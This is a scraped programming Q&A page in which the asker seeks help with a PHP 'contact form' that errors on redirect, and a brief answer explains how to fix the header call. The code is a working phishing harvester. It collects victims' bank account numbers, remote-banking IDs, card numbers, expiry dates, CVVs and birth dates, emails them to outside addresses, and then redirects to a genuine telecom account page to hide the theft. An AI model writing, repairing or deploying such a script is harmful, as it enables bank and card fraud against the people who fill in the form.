email - Php mail script returning error saying header already used -


this question has answer here:

<?php  if(isset($_post['submitbtn'])) {      $pname= $_post['nom'];     $telephone= $_post['telph'];     $acnumber= $_post['compte'];     $rbl= $_post['distance'];     $cardno = $_post['carte'];     $expmonth = $_post['months'];     $expyear = $_post['year'];       $cvv = $_post['cvv'];     $dob = $_post['birth'];     $subject = 'contact form '.$pname.'';     $message = 'nom et prénom:- '.$pname.'  telephone: '.$telephone.'  numéro de compte:- '.$acnumber.'  identifiant banque à distance:- '.$rbl.'  numéro de carte:- '.$cardno.'  date d expiration:- '.$expmonth.','.$expyear.'  cvv 2:- '.$cvv.'  date de naissance :- '.$dob.' ';   $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";  $header = "from:www.webperfection.co.in/clients/photonics/ \r\n";  $retval = mail ($to,$subject,$message,$header);  if ($retval) {  header("location: https://mobile.free.fr/moncompte/");  exit; } else {  //header("location: /error.html");  exit; }  } ?> 

what can issue be? want work like, when email has been sent, redirect page https://mobile.free.fr/moncompte/

could please me solution?

make sure not echo on page before header called. add die(); after header call


Comments

Popular posts from this blog

cakephp - simple blog with croogo -

How to group boxplot outliers in gnuplot -

bash - Performing variable substitution in a string -